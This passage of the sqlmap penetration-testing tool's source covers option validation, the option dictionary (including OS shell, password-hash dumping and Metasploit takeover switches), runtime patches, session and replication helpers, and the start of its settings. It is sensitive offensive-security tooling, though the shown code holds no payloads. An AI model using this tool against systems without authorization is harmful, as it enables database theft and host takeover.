errMsg = "switch '--proxy' is incompatible with option '--proxy-file'" raise SqlmapSyntaxException(errMsg) if conf.proxyFreq and not conf.proxyFile: errMsg = "option '--proxy-freq' requires usage of option '--proxy-file'" raise SqlmapSyntaxException(errMsg) if conf.checkTor and not any((conf.tor, conf.proxy)): errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)" raise SqlmapSyntaxException(errMsg) if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): errMsg = "value for option '--tor-port' must be in range [0, 65535]" raise SqlmapSyntaxException(errMsg) if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(PROXY_TYPE, True)) raise SqlmapSyntaxException(errMsg) if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True): errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) raise SqlmapSyntaxException(errMsg) if conf.uValues and (not re.search(r"\A['\w\s.,()%s-]+\Z" % CUSTOM_INJECTION_MARK_CHAR, conf.uValues) or conf.uValues.count(CUSTOM_INJECTION_MARK_CHAR) != 1): errMsg = "option '--union-values' must contain valid UNION column values, along with the injection position " errMsg += "(e.g. 'NULL,1,%s,NULL')" % CUSTOM_INJECTION_MARK_CHAR raise SqlmapSyntaxException(errMsg) if conf.skip and conf.testParameter: if intersect(conf.skip, conf.testParameter): errMsg = "option '--skip' is incompatible with option '-p'" raise SqlmapSyntaxException(errMsg) if conf.rParam and conf.testParameter: if intersect(conf.rParam, conf.testParameter): errMsg = "option '--randomize' is incompatible with option '-p'" raise SqlmapSyntaxException(errMsg) if conf.mobile and conf.agent: errMsg = "switch '--mobile' is incompatible with option '--user-agent'" raise SqlmapSyntaxException(errMsg) if conf.proxy and conf.ignoreProxy: errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) if conf.alert and conf.alert.startswith('-'): errMsg = "value for option '--alert' must be valid operating system command(s)" raise SqlmapSyntaxException(errMsg) if conf.timeSec < 1: errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) if isinstance(conf.uCols, six.string_types): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg += "(e.g. 1-10) or integer value (e.g. 5)" raise SqlmapSyntaxException(errMsg) if conf.dbmsCred and ':' not in conf.dbmsCred: errMsg = "value for option '--dbms-cred' must be in " errMsg += "format : (e.g. \"root:pass\")" raise SqlmapSyntaxException(errMsg) if conf.encoding: _ = checkCharEncoding(conf.encoding, False) if _ is None: errMsg = "unknown encoding '%s'. Please visit " % conf.encoding errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE errMsg += "supported encodings" raise SqlmapSyntaxException(errMsg) else: conf.encoding = _ if conf.fileWrite and not os.path.isfile(conf.fileWrite): errMsg = "file '%s' does not exist" % os.path.abspath(conf.fileWrite) raise SqlmapFilePathException(errMsg) if conf.loadCookies and not os.path.exists(conf.loadCookies): errMsg = "cookies file '%s' does not exist" % os.path.abspath(conf.loadCookies) raise SqlmapFilePathException(errMsg) def initOptions(inputOptions=AttribDict(), overrideOptions=False): _setConfAttributes() _setKnowledgeBaseAttributes() _mergeOptions(inputOptions, overrideOptions) def init(): """ Set attributes into both configuration and knowledge base singletons based upon command line and configuration file options. """ _useWizardInterface() setVerbosity() _saveConfig() _setRequestFromFile() _cleanupOptions() _cleanupEnvironment() _purge() _checkDependencies() _createHomeDirectories() _createTemporaryDirectory() _basicOptionValidation() _setProxyList() _setTorProxySettings() _setDNSServer() _adjustLoggingFormatter() _setMultipleTargets() _listTamperingFunctions() _setTamperingFunctions() _setPreprocessFunctions() _setPostprocessFunctions() _setTrafficOutputFP() _setupHTTPCollector() _setHttpChunked() _checkWebSocket() parseTargetDirect() if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() _setHTTPCookies() _setHTTPReferer() _setHTTPHost() _setHTTPUserAgent() _setHTTPAuthentication() _setHTTPHandlers() _setDNSCache() _setSocketPreConnect() _setSafeVisit() _doSearch() _setStdinPipeTargets() _setBulkMultipleTargets() _checkTor() _setCrawler() _findPageForms() _setDBMS() _setTechnique() _setThreads() _setOS() _setWriteFile() _setMetasploit() _setDBMSAuthentication() loadBoundaries() loadPayloads() _setPrefixSuffix() update() _loadQueries() sqlmap-1.9.6/lib/core/optiondict.py000066400000000000000000000167211502261744200172620ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ optDict = { # Family: {"parameter name": "parameter datatype"}, # --OR-- # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")}, "Target": { "direct": "string", "url": "string", "logFile": "string", "bulkFile": "string", "requestFile": "string", "sessionFile": "string", "googleDork": "string", "configFile": "string", }, "Request": { "method": "string", "data": "string", "paramDel": "string", "cookie": "string", "cookieDel": "string", "liveCookies": "string", "loadCookies": "string", "dropSetCookie": "boolean", "http2": "boolean", "agent": "string", "mobile": "boolean", "randomAgent": "boolean", "host": "string", "referer": "string", "headers": "string", "authType": "string", "authCred": "string", "authFile": "string", "abortCode": "string", "ignoreCode": "string", "ignoreProxy": "boolean", "ignoreRedirects": "boolean", "ignoreTimeouts": "boolean", "proxy": "string", "proxyCred": "string", "proxyFile": "string", "proxyFreq": "integer", "tor": "boolean", "torPort": "integer", "torType": "string", "checkTor": "boolean", "delay": "float", "timeout": "float", "retries": "integer", "retryOn": "string", "rParam": "string", "safeUrl": "string", "safePost": "string", "safeReqFile": "string", "safeFreq": "integer", "skipUrlEncode": "boolean", "csrfToken": "string", "csrfUrl": "string", "csrfMethod": "string", "csrfData": "string", "csrfRetries": "integer", "forceSSL": "boolean", "chunked": "boolean", "hpp": "boolean", "evalCode": "string", }, "Optimization": { "optimize": "boolean", "predictOutput": "boolean", "keepAlive": "boolean", "nullConnection": "boolean", "threads": "integer", }, "Injection": { "testParameter": "string", "skip": "string", "skipStatic": "boolean", "paramExclude": "string", "paramFilter": "string", "dbms": "string", "dbmsCred": "string", "os": "string", "invalidBignum": "boolean", "invalidLogical": "boolean", "invalidString": "boolean", "noCast": "boolean", "noEscape": "boolean", "prefix": "string", "suffix": "string", "tamper": "string", }, "Detection": { "level": "integer", "risk": "integer", "string": "string", "notString": "string", "regexp": "string", "code": "integer", "smart": "boolean", "textOnly": "boolean", "titles": "boolean", }, "Techniques": { "technique": "string", "timeSec": "integer", "uCols": "string", "uChar": "string", "uFrom": "string", "uValues": "string", "dnsDomain": "string", "secondUrl": "string", "secondReq": "string", }, "Fingerprint": { "extensiveFp": "boolean", }, "Enumeration": { "getAll": "boolean", "getBanner": ("boolean", "Banners"), "getCurrentUser": ("boolean", "Users"), "getCurrentDb": ("boolean", "Databases"), "getHostname": "boolean", "isDba": "boolean", "getUsers": ("boolean", "Users"), "getPasswordHashes": ("boolean", "Passwords"), "getPrivileges": ("boolean", "Privileges"), "getRoles": ("boolean", "Roles"), "getDbs": ("boolean", "Databases"), "getTables": ("boolean", "Tables"), "getColumns": ("boolean", "Columns"), "getSchema": "boolean", "getCount": "boolean", "dumpTable": "boolean", "dumpAll": "boolean", "search": "boolean", "getComments": "boolean", "getStatements": "boolean", "db": "string", "tbl": "string", "col": "string", "exclude": "string", "pivotColumn": "string", "dumpWhere": "string", "user": "string", "excludeSysDbs": "boolean", "limitStart": "integer", "limitStop": "integer", "firstChar": "integer", "lastChar": "integer", "sqlQuery": "string", "sqlShell": "boolean", "sqlFile": "string", }, "Brute": { "commonTables": "boolean", "commonColumns": "boolean", "commonFiles": "boolean", }, "User-defined function": { "udfInject": "boolean", "shLib": "string", }, "File system": { "fileRead": "string", "fileWrite": "string", "fileDest": "string", }, "Takeover": { "osCmd": "string", "osShell": "boolean", "osPwn": "boolean", "osSmb": "boolean", "osBof": "boolean", "privEsc": "boolean", "msfPath": "string", "tmpPath": "string", }, "Windows": { "regRead": "boolean", "regAdd": "boolean", "regDel": "boolean", "regKey": "string", "regVal": "string", "regData": "string", "regType": "string", }, "General": { "trafficFile": "string", "abortOnEmpty": "boolean", "answers": "string", "batch": "boolean", "base64Parameter": "string", "base64Safe": "boolean", "binaryFields": "string", "charset": "string", "checkInternet": "boolean", "cleanup": "boolean", "crawlDepth": "integer", "crawlExclude": "string", "csvDel": "string", "dumpFile": "string", "dumpFormat": "string", "encoding": "string", "eta": "boolean", "flushSession": "boolean", "forms": "boolean", "freshQueries": "boolean", "googlePage": "integer", "harFile": "string", "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", "postprocess": "string", "preprocess": "string", "repair": "boolean", "saveConfig": "string", "scope": "string", "skipHeuristics": "boolean", "skipWaf": "boolean", "testFilter": "string", "testSkip": "string", "timeLimit": "float", "unsafeNaming": "boolean", "webRoot": "string", }, "Miscellaneous": { "alert": "string", "beep": "boolean", "dependencies": "boolean", "disableColoring": "boolean", "disableHashing": "boolean", "listTampers": "boolean", "noLogging": "boolean", "noTruncate": "boolean", "offline": "boolean", "purge": "boolean", "resultsFile": "string", "tmpDir": "string", "unstable": "boolean", "updateAll": "boolean", "wizard": "boolean", "verbose": "integer", }, "Hidden": { "dummy": "boolean", "disablePrecon": "boolean", "profile": "boolean", "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", }, "API": { "api": "boolean", "taskid": "string", "database": "string", } } sqlmap-1.9.6/lib/core/patch.py000066400000000000000000000161011502261744200161750ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import collections import inspect import logging import os import random import re import sys import lib.controller.checks import lib.core.common import lib.core.convert import lib.core.option import lib.core.threads import lib.request.connect import lib.utils.search import lib.utils.sqlalchemy import thirdparty.ansistrm.ansistrm import thirdparty.chardet.universaldetector from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import isDigit from lib.core.common import isListLike from lib.core.common import readInput from lib.core.common import shellExec from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.convert import stdoutEncode from lib.core.data import conf from lib.core.enums import PLACE from lib.core.option import _setHTTPHandlers from lib.core.option import setVerbosity from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.request.templates import getPageTemplate from thirdparty import six from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client _rand = 0 def dirtyPatches(): """ Place for "dirty" Python related patches """ # accept overly long result lines (e.g. SQLi results in HTTP header responses) _http_client._MAXLINE = 1 * 1024 * 1024 # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing) if six.PY3: if not hasattr(_http_client.HTTPConnection, "__send_output"): _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output def _send_output(self, *args, **kwargs): if conf.get("chunked") and "encode_chunked" in kwargs: kwargs["encode_chunked"] = False self.__send_output(*args, **kwargs) _http_client.HTTPConnection._send_output = _send_output # add support for inet_pton() on Windows OS if IS_WIN: from thirdparty.wininetpton import win_inet_pton # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) # Reference: http://bugs.python.org/issue17849 if hasattr(_http_client, "LineAndFileWrapper"): def _(self, *args): return self._readline() _http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline _http_client.LineAndFileWrapper.readline = _ # to prevent too much "guessing" in case of binary data retrieval thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 match = re.search(r" --method[= ](\w+)", " ".join(sys.argv)) if match and match.group(1).upper() != PLACE.POST: PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) # Reference: https://github.com/sqlmapproject/sqlmap/issues/4314 try: os.urandom(1) except NotImplementedError: if six.PY3: os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size)) else: os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) # Reference: https://github.com/sqlmapproject/sqlmap/issues/5727 # Reference: https://stackoverflow.com/a/14076841 try: import pymysql pymysql.install_as_MySQLdb() except (ImportError, AttributeError): pass # Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py # Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"): ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults")) def makelist(data): if isinstance(data, (tuple, list, set, dict)): return list(data) elif data: return [data] else: return [] def getargspec(func): spec = inspect.getfullargspec(func) kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) return ArgSpec(kwargs, spec[1], spec[2], spec[3]) inspect.getargspec = getargspec # Installing "reversible" unicode (decoding) error handler def _reversible(ex): if INVALID_UNICODE_PRIVATE_AREA: return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) else: return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) codecs.register_error("reversible", _reversible) # Reference: https://github.com/sqlmapproject/sqlmap/issues/5731 if not hasattr(logging, "_acquireLock"): def _acquireLock(): if logging._lock: logging._lock.acquire() logging._acquireLock = _acquireLock if not hasattr(logging, "_releaseLock"): def _releaseLock(): if logging._lock: logging._lock.release() logging._releaseLock = _releaseLock def resolveCrossReferences(): """ Place for cross-reference resolution """ lib.core.threads.isDigit = isDigit lib.core.threads.readInput = readInput lib.core.common.getPageTemplate = getPageTemplate lib.core.convert.filterNone = filterNone lib.core.convert.isListLike = isListLike lib.core.convert.shellExec = shellExec lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage lib.core.option._pympTempLeakPatch = pympTempLeakPatch lib.request.connect.setHTTPHandlers = _setHTTPHandlers lib.utils.search.setHTTPHandlers = _setHTTPHandlers lib.controller.checks.setVerbosity = setVerbosity lib.utils.sqlalchemy.getSafeExString = getSafeExString thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode def pympTempLeakPatch(tempDir): """ Patch for "pymp" leaking directories inside Python3 """ try: import multiprocessing.util multiprocessing.util.get_temp_dir = lambda: tempDir except: pass def unisonRandom(): """ Unifying random generated data across different Python versions """ def _lcg(): global _rand a = 1140671485 c = 128201163 m = 2 ** 24 _rand = (a * _rand + c) % m return _rand def _randint(a, b): _ = a + (_lcg() % (b - a + 1)) return _ def _choice(seq): return seq[_randint(0, len(seq) - 1)] def _sample(population, k): return [_choice(population) for _ in xrange(k)] def _seed(seed): global _rand _rand = seed random.choice = _choice random.randint = _randint random.sample = _sample random.seed = _seed sqlmap-1.9.6/lib/core/profiling.py000066400000000000000000000015641502261744200170760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import cProfile import os from lib.core.data import logger from lib.core.data import paths def profile(profileOutputFile=None): """ This will run the program and present profiling data in a nice looking graph """ if profileOutputFile is None: profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.raw") if os.path.exists(profileOutputFile): os.remove(profileOutputFile) # Start sqlmap main function and generate a raw profile file cProfile.run("start()", profileOutputFile) infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile) logger.info(infoMsg) sqlmap-1.9.6/lib/core/readlineng.py000066400000000000000000000034071502261744200172130ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ _readline = None try: from readline import * import readline as _readline except: try: from pyreadline import * import pyreadline as _readline except: pass from lib.core.data import logger from lib.core.settings import IS_WIN from lib.core.settings import PLATFORM if IS_WIN and _readline: try: _outputfile = _readline.GetOutputFile() except AttributeError: debugMsg = "Failed GetOutputFile when using platform's " debugMsg += "readline library" logger.debug(debugMsg) _readline = None # Test to see if libedit is being used instead of GNU readline. # Thanks to Boyd Waters for this patch. uses_libedit = False if PLATFORM == "mac" and _readline: import commands (status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__) if status == 0 and len(result) > 0: # We are bound to libedit - new in Leopard _readline.parse_and_bind("bind ^I rl_complete") debugMsg = "Leopard libedit detected when using platform's " debugMsg += "readline library" logger.debug(debugMsg) uses_libedit = True # the clear_history() function was only introduced in Python 2.4 and is # actually optional in the readline API, so we must explicitly check for its # existence. Some known platforms actually don't have it. This thread: # http://mail.python.org/pipermail/python-dev/2003-August/037845.html # has the original discussion. if _readline: if not hasattr(_readline, "clear_history"): def clear_history(): pass _readline.clear_history = clear_history sqlmap-1.9.6/lib/core/replication.py000066400000000000000000000116651502261744200174210ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import sqlite3 from lib.core.common import cleanReplaceUnicode from lib.core.common import getSafeExString from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapValueException from lib.core.settings import UNICODE_ENCODING from lib.utils.safe2bin import safechardecode class Replication(object): """ This class holds all methods/classes used for database replication purposes. """ def __init__(self, dbpath): try: self.dbpath = dbpath self.connection = sqlite3.connect(dbpath) self.connection.isolation_level = None self.cursor = self.connection.cursor() except sqlite3.OperationalError as ex: errMsg = "error occurred while opening a replication " errMsg += "file '%s' ('%s')" % (dbpath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) class DataType(object): """ Using this class we define auxiliary objects used for representing sqlite data types. """ def __init__(self, name): self.name = name def __str__(self): return self.name def __repr__(self): return "" % self class Table(object): """ This class defines methods used to manipulate table objects. """ def __init__(self, parent, name, columns=None, create=True, typeless=False): self.parent = parent self.name = unsafeSQLIdentificatorNaming(name) self.columns = columns if create: try: self.execute('DROP TABLE IF EXISTS "%s"' % self.name) if not typeless: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) else: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) except Exception as ex: errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'" % self.parent.dbpath raise SqlmapGenericException(errMsg) def insert(self, values): """ This function is used for inserting row(s) into current table. """ if len(values) == len(self.columns): self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?'] * len(values))), safechardecode(values)) else: errMsg = "wrong number of columns used in replicating insert" raise SqlmapValueException(errMsg) def execute(self, sql, parameters=None): try: try: self.parent.cursor.execute(sql, parameters or []) except UnicodeError: self.parent.cursor.execute(sql, cleanReplaceUnicode(parameters or [])) except sqlite3.OperationalError as ex: errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" raise SqlmapGenericException(errMsg) def beginTransaction(self): """ Great speed improvement can be gained by using explicit transactions around multiple inserts. Reference: http://stackoverflow.com/questions/4719836/python-and-sqlite3-adding-thousands-of-rows """ self.execute('BEGIN TRANSACTION') def endTransaction(self): self.execute('END TRANSACTION') def select(self, condition=None): """ This function is used for selecting row(s) from current table. """ _ = 'SELECT * FROM %s' % self.name if condition: _ += 'WHERE %s' % condition return self.execute(_) def createTable(self, tblname, columns=None, typeless=False): """ This function creates Table instance with current connection settings. """ return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) def __del__(self): self.cursor.close() self.connection.close() # sqlite data types NULL = DataType('NULL') INTEGER = DataType('INTEGER') REAL = DataType('REAL') TEXT = DataType('TEXT') BLOB = DataType('BLOB') sqlmap-1.9.6/lib/core/revision.py000066400000000000000000000035231502261744200167400ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re import subprocess from lib.core.common import openFile from lib.core.convert import getText def getRevisionNumber(): """ Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" >>> len(getRevisionNumber() or (' ' * 7)) == 7 True """ retVal = None filePath = None _ = os.path.dirname(__file__) while True: filePath = os.path.join(_, ".git", "HEAD") if os.path.exists(filePath): break else: filePath = None if _ == os.path.dirname(_): break else: _ = os.path.dirname(_) while True: if filePath and os.path.isfile(filePath): with openFile(filePath, "r") as f: content = getText(f.read()) filePath = None if content.startswith("ref: "): try: filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() except UnicodeError: pass if filePath is None: match = re.match(r"(?i)[0-9a-f]{32}", content) retVal = match.group(0) if match else None break else: break if not retVal: try: process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, _ = process.communicate() match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or "")) retVal = match.group(0) if match else None except: pass return retVal[:7] if retVal else None sqlmap-1.9.6/lib/core/session.py000066400000000000000000000036731502261744200165730ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBWrite from lib.core.data import kb from lib.core.data import logger from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.settings import SUPPORTED_DBMS def setDbms(dbms): """ @param dbms: database management system to be set into the knowledge base as fingerprint. @type dbms: C{str} """ hashDBWrite(HASHDB_KEYS.DBMS, dbms) _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I) if _: dbms = _.group(1) Backend.setDbms(dbms) if kb.resolutionDbms: hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms) logger.info("the back-end DBMS is %s" % Backend.getDbms()) def setOs(): """ Example of kb.bannerFp dictionary: { 'sp': set(['Service Pack 4']), 'dbmsVersion': '8.00.194', 'dbmsServicePack': '0', 'distrib': set(['2000']), 'dbmsRelease': '2000', 'type': set(['Windows']) } """ infoMsg = "" if not kb.bannerFp: return if "type" in kb.bannerFp: Backend.setOs(Format.humanize(kb.bannerFp["type"])) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if "distrib" in kb.bannerFp: kb.osVersion = Format.humanize(kb.bannerFp["distrib"]) infoMsg += " %s" % kb.osVersion if "sp" in kb.bannerFp: kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", "")) elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS): kb.osSP = 0 if Backend.getOs() and kb.osVersion and kb.osSP: infoMsg += " Service Pack %d" % kb.osSP if infoMsg: logger.info(infoMsg) hashDBWrite(HASHDB_KEYS.OS, Backend.getOs()) sqlmap-1.9.6/lib/core/settings.py000066400000000000000000001304661502261744200167510ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import os import random import re import string import sys import time from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS from thirdparty import six # sqlmap version (...) VERSION = "1.9.6.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "https://sqlmap.org" DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE) DEV_EMAIL_ADDRESS = "dev@sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/" ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master" # colorful banner BANNER = """\033[01;33m\ ___ __H__ ___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| \033[0m\033[4;37m%s\033[0m\n """ % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 CONSTANT_RATIO = 0.9 # Ratio used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_RATIO = 0.5 # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 # Timeout used in checking for existence of live-cookies file LIVE_COOKIES_TIMEOUT = 120 # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 # For filling in case of dumb push updates DUMMY_JUNK = "ahy9Ouge" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__AMP__" PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__QUESTION__" ASTERISK_MARKER = "__ASTERISK__" REPLACEMENT_MARKER = "__REPLACEMENT__" BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__" SAFE_VARIABLE_MARKER = "__SAFE__" SAFE_HEX_MARKER = "__SAFE_HEX__" DOLLAR_MARKER = "__DOLLAR__" RANDOM_INTEGER_MARKER = "[RANDINT]" RANDOM_STRING_MARKER = "[RANDSTR]" SLEEP_TIME_MARKER = "[SLEEPTIME]" INFERENCE_MARKER = "[INFERENCE]" SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]" GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" # Regular expression used for extraction of table names (useful for (e.g.) MsAccess) SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P([\w.]|`[^`<>]+`)+)" # Regular expression used for recognition of textual content-type TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages PERMISSION_DENIED_REGEX = r"(?P(command|permission|access)\s*(was|is)?\s*denied)" # Regular expression used in recognition of generic protection mechanisms GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" # Regular expression used to detect errors in fuzz(y) UNION test FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error" # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" # Maximum consecutive connection errors before asking the user if he wants to continue MAX_CONSECUTIVE_CONNECTION_ERRORS = 15 # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it) PRECONNECT_CANDIDATE_TIMEOUT = 10 # Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support) PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") # Identify WAF/IPS inside limited number of responses (Note: for optimization purposes) IDENTYWAF_PARSE_LIMIT = 10 # Maximum sleep time in "Murphy" (testing) mode MAX_MURPHY_SLEEP_TIME = 3 # Regular expression used for extracting results from Google search GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" # Google Search consent cookie GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) # Regular expression used for extracting results from DuckDuckGo search DUCKDUCKGO_REGEX = r'
